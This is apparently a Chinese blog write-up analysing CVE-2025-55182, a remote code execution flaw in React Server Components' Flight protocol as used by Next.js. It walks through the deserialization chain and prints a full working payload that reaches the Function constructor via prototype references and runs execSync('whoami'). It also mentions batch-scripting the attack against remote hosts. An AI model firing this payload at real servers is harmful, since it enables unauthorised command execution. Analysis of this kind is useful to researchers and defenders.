news 2026/2/7 20:29:35

【Web】CVE-2025-55182 原理分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web】CVE-2025-55182 原理分析

目录

前置知识

漏洞分析

Part1

Part2

Part3

漏洞复现

本地复现

远程复现

其他思考


很好的语言,使你的漏洞旋转😂

前置知识

RSC

RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。

从这个角度来看,很类似古老的php和jsp🤔

不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面

thenable

当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。

Flight协议

React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。

一些特殊引用:

$@

Chunk 引用

Promise"$@1"

$K

FormData 引用

FormData"$K1"

$B

Blob 引用

Blob"$B1"

漏洞分析

Part1

RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy

这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。

busboy 的事件监听器收到数据修改时就会自动触发 resoveField()

最终getChunk返回一个Chunk

关注resolveField() ,内部调用resolveModelChunk()

resolveModelChunk内部调用initializeModelChunk

来看initializeModelChunk实现

对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel

调用reviveModel

调用parseModelString

其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”

Part2

再来看Chunk.prototype.then的实现

当status为resolved_model时,调用我们熟悉的initializeModelChunk

去根据Flight协议“反序列化”,和Part1的流程一样,不赘述

Part3

来对照payload看,共涉及三次解析

payload用的:https://github.com/msanft/CVE-2025-55182

注意首先要用Next-Action去指定为Server Action请求

这里$1被指向了$@0,也就是name="0"的Chunk引用

第一次解析

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}

$1:__proto__:then被解析为Chunk.prototype.then

$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)

最终被解析为

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第二次解析

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

调用Chunk.prototype.then

这里重点来看$B是怎么处理的

其实就是对传入的数从16进制转成10进制,再与prefix拼接

而传入的prefix是一段恶意代码

var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

传入的_formData.get也被污染为了Function构造方法

Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")

解析成一个恶意匿名函数

function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}

最终整体被解析为

{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第三次解析

此时发现还有then

就去执行then里的恶意匿名函数,从而达成RCE

漏洞复现

poc:https://github.com/msanft/CVE-2025-55182

本地复现

npm create next-app@16.0.6

cd test npm run dev

搭建好的首页

远程复现

写个批量脚本

远程抓一个打一下

其他思考

其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/29 11:46:45

基于SpringBoot的校园设备维护报修系统_rwh2qh1u

目录具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作具体实现截图 本系统(程序源码数据库调试部署讲解)同时还支持java、ThinkPHP、Node.js、Spring B…

作者头像 李华
网站建设 2026/1/29 14:54:54

采购必看:供应商报价的五个常见套路,别再被“低价”忽悠了!

在采购过程中,一份看似诱人的报价单,背后可能暗藏玄机。资深采购都知道:价格不是越低越好,关键要看“怎么报”。以下是供应商常用的五大报价套路,务必警惕!1. 拆分报价,隐藏成本把运费、模具费、…

作者头像 李华
网站建设 2026/2/6 1:03:38

论文查重率高于30%?掌握这五个高效方法,迅速达到合格标准

论文重复率过高时,采用AI工具辅助改写是高效解决方案之一,通过智能重组句式结构、替换同义词和调整语序,能在保持原意基础上显著降低重复率,例如将"研究表明气候变化导致极端天气增加"改写为"最新数据分析证实全球…

作者头像 李华